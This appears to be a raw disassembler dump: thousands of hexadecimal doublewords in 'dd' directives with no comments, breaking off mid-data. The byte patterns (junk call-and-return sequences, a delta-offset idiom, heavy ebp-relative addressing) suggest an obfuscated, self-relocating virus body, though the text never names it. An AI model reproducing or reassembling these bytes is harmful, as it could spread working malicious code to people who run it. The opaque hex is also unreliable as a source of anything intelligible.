dd 0 dd 32ED815Dh, 6A065186h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 6D1DC351h, 0F1BF66A7h dd 50006A83h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0ABC40B36h, 8DFA8B8Ch, 508A5785h, 0BE906h dd 57CD0000h, 95675126h, 9E64818h, 525090A3h, 12E85250h dd 28000000h, 0EC737686h, 3ECB12B0h, 0F8CA4C0Bh, 2C23C7ECh dd 310F5F8Eh, 0FE9h, 1CDA6E00h, 1377B5B9h, 0CFCF13FAh dd 0AE1265CBh, 310F585Ah, 0E950585Ah, 13h, 870A0B2Ch, 65344558h dd 6237FDE5h, 3650CD19h, 9017ABADh, 2F51BD89h, 0FF64064Dh dd 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 29CB80C0h, 0CEC78166h, 2589646Ah dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 26C35343h dd 0DE8B6928h, 0F7816653h, 0FF5F944Ch, 4D181585h, 57FF6A06h dd 0B5015BF9h, 64D0055h, 2705B5FFh, 0B509064Dh, 64D2EA5h dd 41195FFh, 46E9064Dh, 0F9000001h, 0C38100B0h, 553D92E5h dd 0BD8B70E6h, 64D0D9Dh, 1A890Fh, 830F0000h, 14h, 0FE9h dd 0AE578500h, 5BD27244h, 5C56AD43h, 59830FBDh, 816671E4h dd 3CF644DFh, 6830F61h, 89000001h, 4D22F185h, 0C8B60F06h dd 5258589h, 6BA064Dh, 0E9000000h, 12h, 968C1E17h, 0A11F41A4h dd 0D573B59Dh, 0FFFF45A5h, 0C18B4CC9h, 1FC59D29h, 0E8C1064Dh dd 66FD8A04h, 0F60E2F7h, 382h, 0F08B6600h, 0C519D31h, 2B61064Dh dd 0D18BF5C8h, 1B719D8Bh, 9D8B064Dh, 64D2701h, 10E9h, 6810F00h dd 33000000h, 4D23E59Dh, 24BF6606h, 29858BB6h, 66064D12h dd 0C083D88Bh, 0C870F07h, 0F000000h, 68Ah, 0D9BD8B00h dd 83064D26h, 12E900C0h, 3000000h, 79F87DB6h, 622E9A41h dd 0C636CBAAh, 0EAC0DE8Ch, 0FD03B18h, 0A83h, 4EE9F900h dd 66000000h, 8B3A90BBh, 4D32818Dh, 1E18306h, 3B840Fh dd 95090000h, 64D1E15h, 83DBBF0Fh, 4D3281A5h, 9D8BFE06h dd 64D25FDh, 12299589h, 12E8064Dh, 0F7000000h, 4EB5558h dd 864532C6h, 9BB535C9h, 0AB1D3E85h, 5FFD8A67h, 0E9h, 20B58D00h dd 66065107h, 64B3E381h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BF66A4C3h, 95FF463Ah dd 64D0511h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 11C35141h, 3F4A8BFDh, 0D62118A4h, 9589600Fh, 64D03B1h dd 0BD64EBB8h, 1B9611Dh, 6A000008h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EFDC353h dd 837824B0h, 9589FCE1h, 64D0E75h, 14B19D8Bh, 6AFC064Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0DA57C353h, 1501B5FBh, 0E458BF66h, 91958B60h dd 0E9064D21h, 0Eh, 9065B101h, 9A0C3426h, 35E8080Bh, 0E861AE8Eh dd 11h, 10325308h, 0C4F872FAh, 89BF2C6h, 837C7798h, 2850F74h dd 8B000000h, 0C02B5BF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 46C35646h, 0DF816692h, 0FA8BA959h, 6AD22Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0BF05BDC3h, 12E8h, 7E1C5100h, 1BB639CEh, 0B5B5C75Eh dd 6674571Bh, 802B4A4Fh, 0F5FDCDFh, 188h, 33ADF800h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0A5D1D2C3h, 5B8A8E19h, 4ECB8166h dd 0AED7806Dh, 810Fh, 0BF0F0000h, 880DF8h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 5A13D7C3h, 9D099210h, 64D0ACDh, 599958Bh, 8B0F064Dh dd 8, 618D8950h, 5B064D21h, 51D8D8Bh, 65BB064Dh, 5064F44Bh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 51858931h, 6A064D29h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 89B3C355h, 4D1BA1BDh dd 45BD8306h, 64D1Ch, 8C840Fh, 9D890000h, 64D0F49h, 16159D09h dd 0B8064Dh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 897EC356h, 4D15598Dh dd 0E1BF6606h, 0E58D8DDDh, 6A064D4Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6FFC356h dd 665A5AFDh, 0FFF8DF8Bh, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0BE1DA3F8h dd 9D8BD7B4h, 64D26E9h, 0BD8383B3h, 64D02E9h, 0AF840F00h dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 82B4C352h, 0AAADBDCh, 142DBD89h dd 0BF0F064Dh, 0E9BD83F8h, 1064D02h, 493840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C8C9E3C3h, 0A4BFEC30h, 0B5896098h, 64D2A15h, 6880Fh dd 8D8B0000h, 64D0455h, 0E9BD8361h, 3064D02h, 419860Fh dd 0BD090000h, 64D0DB9h, 17820F60h, 0E9000000h, 12h, 18A8CD2h dd 0CD984E1Ch, 1AA3FF59h, 0FD3F469h, 8C664539h, 0B5B589D9h dd 80064D03h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 65C01FC3h, 840FC90Ah, 168h, 27818509h dd 858B064Dh, 64D1879h, 2F4DBD2Bh, 0BB66064Dh, 8533CFA5h dd 64D0639h, 14D99D8Bh, 0E990064Dh, 10h, 98489A33h, 0ADB964B7h dd 2847A9E4h, 0B436D9F0h, 800F5750h, 2, 905BDA8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CC35545h, 8960E790h dd 4D255995h, 14E806h, 14320000h, 28764B5h, 22C8FB6Fh dd 0EA2E528Dh, 5B9946h, 0B52B1B17h, 64D14D9h, 6A6159h dd 0E8FEB70Fh, 4, 1F03FFh, 880F5150h, 0 ; a(short *) a__ps db '__Pé',8,0 align 4 dd 43C2B46Bh, 0E9E2FE8Ah, 424448Bh, 0DE8h, 0F60AF800h dd 6D881DDDh, 3656A724h, 8B5B0C9Bh, 5E800h, 0D75C0000h dd 50381D4Dh, 0D88B6652h, 0BE9310Fh, 32000000h, 0D6419D55h dd 5323BCEFh, 585AFDFFh, 2444895Fh, 0FB8B6604h, 0F1858958h dd 0FF064D2Dh, 4D0EB195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2F4121Bh, 56D2D5CEh dd 0CC2EBF66h, 9585895Fh, 6A0650B7h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0A445C351h dd 6F3C9C6Eh, 0E975F9D5h, 5, 269E5314h, 1DFE9FAh, 9D8B0000h dd 64D2D15h, 0B78D858Bh, 6A0650h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DFB996C3h, 1800C79Fh dd 0E9000000h, 13h, 2D31D8BAh, 968E6DFAh, 0AD41E226h, 2F06917Ch dd 0F522C066h, 0B791B58Bh, 6A0650h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 58F508C3h dd 0D98B5843h, 32E5858Bh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0F435DC3h, 0D5F3FF29h dd 0DB52925h, 89064D1Bh, 4D15F195h, 6A068906h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 784FC353h, 0A2A307C9h, 9E9B5h, 0B4FE0000h, 462A6C97h dd 8BBA3CD9h, 4D187985h, 0C98D8906h, 89064D2Ch, 0DA8B0446h dd 3DBB6696h, 3CB35031h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 7A8CA218h, 0A7C0D1C7h dd 8DB5FFFCh, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 1A51C356h, 0B589836Fh dd 64D1639h, 62559D68h, 10BB66FEh, 240481DCh, 1BCAE62h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7FC35545h dd 0FF2645Ah, 860FDEBFh, 0 dd 0B795858Dh, 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0E20B0C3h, 7E95760h, 0A0000000h dd 7D1BEBE2h, 605B050Bh, 10E95E53h, 0D3000000h, 2460D564h dd 43AB19A8h, 9490A37Dh, 614591ADh, 0BB669061h, 0BF5094A6h dd 4C4C0B11h, 0B195FF90h, 8B064D0Eh, 4D1291BDh, 81666106h dd 0C7B7E2CBh, 4D02E985h, 306h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66B3DA1Fh dd 83E721BFh, 50B795BDh, 840F0006h, 43h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 0B9C35242h, 3DE9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 51147EC2h, 50F921E5h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 7CD12BC3h dd 0D96D8755h, 6606EC09h, 3ACDABFh, 4D179DBDh, 83F88B06h dd 4D02E9BDh, 850F0306h, 473h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 38C35545h, 8B566DF2h, 4D2A15BDh dd 0D1858906h, 83064D0Fh, 50B795BDh, 840F0006h, 43Bh, 149D8D89h dd 880F064Dh, 6, 0EA1BD8Bh, 0B5FF064Dh, 650B795h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1FC35343h, 0FBD4C596h dd 0BD8B95FFh, 64D0E95h, 8E9h, 48F9FE00h, 7172BD31h, 9995FF2Fh dd 0F064D2Dh, 584h, 4AFABF00h, 0B58B1F35h, 650B789h, 15FDBD89h dd 0BD23064Dh, 64D2499h, 106C7h, 0B5890001h, 64D2F69h dd 0E9965096h, 9, 5C8A69A8h, 0CD60B411h, 95B5FFB1h, 660650B7h dd 95FFDE8Bh, 64D308Dh, 1C659D8Bh, 0B58B064Dh, 650B789h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5DC35343h dd 81A6C780h, 0A7F7AE3h, 85858B5Fh, 6A064D23h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 289CC356h, 6684758Fh, 12E9DA8Bh, 9D000000h, 13F2CEA9h dd 0A79DCB87h, 950B6D39h, 0A29551E4h, 0C4868927h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 2E7C357h, 0BC0A9E0Fh, 0F380020Ch, 99958B29h dd 89064D05h, 4D1441BDh, 4C28306h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E8C35141h, 0DEC2BF66h, 6A205089h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0AE81C357h, 7E32E9CEh, 85296004h, 64D2BCDh dd 0DF14E081h, 8D617667h, 50CBF085h, 29BD8906h, 89064D00h dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 91DAF572h, 9D898554h, 64D2951h, 9501006Ah dd 64D1F35h, 0FFFB8B66h, 50B795B5h, 8D236006h, 64D0BB9h dd 880F60h, 8B000000h, 4D2A9585h, 9616106h, 4D0C398Dh dd 3195FF06h, 6A064D24h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0F64C350h, 489h, 5ABB6600h dd 348950DEh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 12AE5DF8h, 36434EE9h, 8950DE6Eh dd 4D28D995h, 0B5FF5F06h, 650B795h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 1BC35040h, 26E98589h, 8589064Dh dd 64D06C1h, 2CC195FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0A31C04C3h, 0D7206F21h dd 0A5BD8371h, 64D32h, 6E840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4164FFC3h dd 0E9DAB70Fh, 0Ch, 0C44B9F34h, 30CCE76Bh, 1E502580h, 18B0Fh dd 96FC0000h, 28C0F50h, 8A000000h, 6A96DAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9D7A02C3h dd 0EBE03900h, 9D8BC861h, 64D22B9h, 0B795B5FFh, 81660650h dd 603066D3h, 1619B529h, 0CE9064Dh, 0BB000000h, 0B57315ABh dd 0B6417D69h, 614CE2F3h, 17C595FFh, 6A064Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9FD39C3h dd 10h, 7AFA481Ch, 6FA38225h, 7595E2B2h, 0D45BCD92h, 0B795B5FFh dd 9D310650h, 64D10EDh, 29B995FFh, 6A064Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E3A63BC3h dd 0F81CCB48h, 8B7840FEh, 4D1DFDBDh, 5BD8306h, 2064D15h dd 35840Fh, 0FF50000h, 858BDEBFh, 64D15A9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 98C35040h, 0C101E9AFh dd 0C60DE3h, 2D9D2B00h, 0C7064D2Ch, 4D211185h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 9311D537h, 0BDB589E2h, 0E9064D14h, 0FFFFF215h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 17C35343h, 16319D8Bh dd 0C18B064Dh, 10E9h, 0DC331500h, 0A5D28C1Ah, 4E2AC4DCh dd 22E5087Eh, 35858D48h, 0E9064D07h, 0Ah, 0B1B1752Ah, 0A0362D35h dd 0F502366h, 82h, 24048900h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 7EC35545h, 9D8B82DEh, 64D21D9h dd 0E953006Ah, 7, 0A596BF0Eh, 5BCA02D8h, 0BB66006Ah, 0B589254Dh dd 64D23B1h, 9776858Dh, 6A0651h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 663EDCC3h, 4DB8EF81h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 2DE6C350h, 504B97E9h, 7E9h, 1A777600h dd 0FD693555h, 8B240489h, 4D05D9BDh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0D0B2C356h, 0CC8551B4h, 3CC484Eh, 4820Fh, 0BF660000h dd 0B53100CEh, 64D26ADh, 840F006Ah, 3, 0FFD9B70Fh, 4D114995h dd 18D8906h, 8D064D16h, 509A138Dh, 0FFD88B06h, 57006AD1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0D2317733h, 22CED9D8h, 1D9D2B63h, 83064D29h, 4D1281BDh dd 850F0106h, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0C1C35242h, 0B500C90Bh, 0F6B41F8h, 68Ah dd 4DB50100h, 8B064D0Ch, 4D30D9BDh, 6A026A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 455FC356h, 37136261h, 0DF7B52A8h, 6090FA8Bh, 0BE66C68Bh dd 5061CDFCh, 6090F98Bh, 6E9h, 80E8CD00h, 6679C5ADh, 613948B9h dd 243195FFh, 6A064Dh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E948FCC3h, 14h, 0DDBF1B5Dh, 0AF277AECh, 0D3AC9D2Eh dd 2CE70B87h, 0AD12EA72h, 0CC7E9h, 0E800h, 815D0000h, 519780EDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 6061DAE5h, 0DEDBD89h, 0F380064Dh, 6A616Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 858DCDC3h, 6508A57h, 66FA8B66h, 0BB90D88Bh, 74EABB0Fh dd 35D1BB50h, 6A905A9Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0C0DDC352h, 0BF0F9933h dd 9E9F8h, 98A0000h, 0D7F8FBBFh, 64405679h, 35FFh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0B6BBF4C3h, 1840F85h, 0FC000000h, 258964h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 5C25C350h, 0BDBF3B9Ah, 0FF5A7C60h, 4D181585h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0C5B5894Dh, 6A064D21h, 0E9BD8BFFh, 0FF064D17h dd 4D2585B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0FF030F3Dh, 4D041195h, 12AE906h dd 8D890000h, 64D0F0Dh, 70E600B0h, 0E4D98B66h, 0DDBD8B71h dd 3C064D0Dh, 0D830F61h, 8B000001h, 4D2D599Dh, 0C8B60F06h dd 1ABD8589h, 6BA064Dh, 0E9000000h, 0Bh, 55DBFD61h, 0FCF0450Ch dd 8BF4DCB5h, 0E8C1F8C1h, 8D0F5104h, 4, 2BD9BB66h, 51B5895Bh dd 66064D1Bh, 0C82BE2F7h, 6E9h, 856AA400h, 8BC50617h, 12E9D1h dd 0F260000h, 0B2436AF2h, 492A26Eh, 7C9784Fh, 0A2B5A2A3h dd 6E9h, 35B50900h, 8B064D1Fh, 4D036185h, 85896006h, 64D2E6Dh dd 0C08361F8h, 9E96007h, 36000000h, 0C4A54AE9h, 683D291Dh dd 0EE9h, 0DF793E00h, 4D96D75Fh, 0CB137666h, 6123A279h dd 8B00C083h, 4D32CDBDh, 0FE906h, 8E580000h, 16CFE49Bh dd 0F7DDC067h, 4FC513F8h, 0FD03BB3h, 0D83h, 0E95F5700h dd 3Ch, 17FDBD89h, 8D8B064Dh, 64D2485h, 837BF780h, 840F01E1h dd 24h, 3CD9D8Bh, 0A583064Dh, 64D2485h, 2FCB81FEh, 897475BCh dd 4D036195h, 89952906h, 0E9064D1Fh, 0 dd 110BB58Dh, 9D290651h, 64D0DD5h, 0F2BF006Ah, 0FF2BE5D8h dd 4D051195h, 0EDBD8B06h, 0F064D03h, 1485h, 0FE900h, 870E0000h dd 1830D41Ch, 8213DFDDh, 4D264B51h, 770B9F6h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0A57385C3h, 0CED6CB81h, 0E1834A4Dh, 57006AFCh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0A522B05Ch, 4D4106Ch, 0EBBD98Bh, 0BB40BDB0h, 1342688Ch dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 31EC8224h, 0E9B9B0B9h, 12h, 36693C56h, 88C9A304h dd 7F3FCB19h, 0BB1B1978h, 0C02B6E8Fh, 27DF8166h, 0FD22BE1h dd 33ADDFB7h, 3E8D1C2h, 4E983D0h, 0CB81F475h, 74D1DFDCh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 69C35242h dd 16830Fh, 11E90000h, 0A000000h, 0B1526E62h, 3075A310h dd 0A532E673h, 3D0918FCh, 880DF9h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 434371C3h dd 9FB1BB15h, 0BF0F0D2Eh, 99958BFEh, 6A064D05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 6B28C352h, 6CB88BDBh, 0FB8B66B5h, 51D8D8Bh, 60F9064Dh dd 8BDAB70Fh, 4D30698Dh, 8B506106h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 64C35747h, 0C8790131h, 259589C0h, 0F064D0Ch dd 588h, 0F3816600h, 8B66E8ADh, 6AE780FEh, 1C45BD83h, 0F00064Dh dd 2584h, 65BF6600h, 0B827h, 8D8D0000h, 64D4DE5h, 325D9D8Bh dd 0E1FF064Dh, 8810Fh, 890F0000h, 2, 0BD835B52h, 64D02E9h dd 0DF840F00h, 0F000003h, 85h, 0E9BD8300h, 1064D02h, 3E7840Fh dd 9D230000h, 64D2AA1h, 16098589h, 0BD83064Dh, 64D02E9h dd 98860F03h, 66000003h, 60A149BFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 92C35747h, 13A6AB56h, 0E3D8ECFBh dd 31A9B589h, 840F064Dh, 0 dd 8AD98C66h, 4E180DCh, 0CE8h, 92CF2000h, 4E1BC64Fh, 6398945Dh dd 0A1B589E4h, 5F064D26h, 840FC90Ah, 11Eh, 30499D09h, 858B064Dh dd 64D1879h, 0DE8B6660h, 0CE961h, 0A1070000h, 5D4B0675h dd 4D43BB4Fh, 853379B1h, 64D0639h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 51C35040h, 8D2360CEh, 64D15E9h dd 0BB669061h, 505085ABh, 0FDC8A52h, 79BB6631h, 90585A7Bh dd 290CF381h, 6A5420h, 332DBD8Bh, 4E8064Dh, 0FF000000h dd 50001F03h, 2880F52h, 60000000h, 5A310F61h, 448B5058h dd 12E80424h, 3A000000h, 0D3178887h, 36C789C0h, 65DDCE1Ah dd 0F9684534h, 0C1BB5782h, 5F4029A9h, 66008B5Fh, 89C7D9BBh dd 66042444h, 58B436BBh, 0BFDBBB66h, 0EB195FFh, 8166064Dh dd 60E264EFh, 23B58589h, 0B58B064Dh, 64D0DD5h, 95858961h dd 6A0650B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 605DC357h, 759D8BDCh, 0E9064D2Fh dd 1DCh, 0FE9h, 46BCE400h, 0C57D058Bh, 61AFC009h, 84FA0AA4h dd 14B19589h, 858B064Dh, 650B78Dh, 2B899D09h, 0C7064Dh dd 18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h dd 0F6C35545h, 0CCB17624h, 0C1BD29DAh, 0F8064D32h, 0B791B58Bh dd 9D8B0650h, 64D2135h, 32E5858Bh, 6A064Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0D064B0C3h dd 0FE9E1BF6h, 68D0Fh, 95290000h, 64D0401h, 32C19D8Bh dd 689064Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 1CC35646h, 4B007F57h, 21B10507h, 1879858Bh, 0FE9064Dh dd 96000000h, 0C98CA7AAh, 5048C203h, 71CB0BFBh, 4689C9A6h dd 0F1BD0304h, 50064D26h, 9C0BB860h, 89614EB5h, 9D8B2434h dd 64D32F1h, 0B78DB5FFh, 0F9BB0650h, 68632BAFh, 6FB4CC3Dh dd 0DE8h, 64FE3400h, 8094C556h, 0C1860D99h, 0BF66B1BAh dd 815FA7C3h, 0CFC22434h, 6A6FABh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 56D004C3h, 0FF0E3259h dd 858DF50Eh, 650B795h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 50C35040h, 898DC33Ch, 4D3311B5h, 0BF665006h dd 4897BBDh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0FB95F014h, 8D8975DEh, 64D2145h dd 0EB195FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0B4D440C3h, 987D16E5h, 952979D2h dd 64D0AC1h, 6E8h, 89AB2F00h, 5FAC5988h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0B1E03F26h, 0F11D5C36h, 850184B2h, 64D00B5h, 0E985C7F8h dd 3064D02h, 33000000h, 4D15299Dh, 95BD8306h, 650B7h, 11840Fh dd 9D090000h, 64D1819h, 21E9h, 0BCC38100h, 501AB835h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 8C0FC08Bh dd 8, 0CD9D8B53h, 5F064D27h, 872FB3BFh, 55006A22h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 9C0ED14Dh, 0A6F4BF66h, 2E9BD83h, 0F03064Dh, 3CB85h dd 899D2900h, 83064D2Eh, 50B795BDh, 840F0006h, 3B8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FEC35545h, 2191B501h dd 0B5FF064Dh, 650B795h, 0FF03E380h, 4D2D9995h, 58E0F06h dd 0BB000000h, 0B8C445Eh, 0B789B58Bh, 6A0650h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 7CE054C3h, 2B47F2DAh, 68C0Fh, 85890000h, 64D03B5h, 401B501h dd 6C7064Dh, 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E6C35646h, 2F28BCC6h, 0A07C26C8h, 9656B7ACh dd 66605250h, 0F61F08Bh, 0FB8B6631h, 9650585Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1AC35747h, 0B5FF5E58h dd 650B795h, 0FE9h, 0F4A72200h, 0CCD418C1h, 0C04852EFh dd 0E70F41B4h, 308D95FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 9E1DC3C3h, 5E9CFC8h dd 31000000h, 569E0345h, 0B789B58Bh, 8B660650h, 85858BD9h dd 0F064D23h, 168Fh, 0FE95000h, 0A7000000h, 88602FCh, 7993D69Dh dd 3606B69Ah, 895F72CBh, 0C486h, 99958B00h, 89064D05h dd 4D1539B5h, 4C28306h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 2EC35242h, 0FD047E1h, 680h, 0A59D8900h dd 89064D2Bh, 8B662050h, 0F0858DDAh, 660650CBh, 0D591D781h dd 0AE9h, 7E14CD00h, 281E1B76h, 89459D31h, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B5DF80A8h, 1CF8BB66h, 5BBF006Ah, 8B75E3A7h, 4D12399Dh dd 95B5FF06h, 6A0650B7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0EB50C351h, 0B59D8B31h dd 66064D1Ah, 0FF0B5FBBh, 4D243195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 9EDEA242h dd 10871FBBh, 52509637h, 0E20ABB66h, 8F0F310Fh, 2, 585A5F56h dd 0DA8B6050h, 50F08B60h, 5A310F52h, 96616158h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ADC35141h, 95B5FF92h dd 6A0650B7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 574FC353h, 6DBD8B50h, 5F064D29h dd 2CC195FFh, 9D8B064Dh, 64D1559h, 32A5BD83h, 0F00064Dh dd 0B84h, 6650F900h, 892565BBh, 0D98B2434h, 0B795B5FFh dd 6A0650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0A8C124C3h, 6800F4Ch, 89000000h, 4D0F21B5h dd 0C595FF06h, 66064D17h, 0B5FFDA8Bh, 650B795h, 2BB7BF66h dd 14E8h, 3D5A9E00h, 48318D9Bh, 4FA3A2F9h, 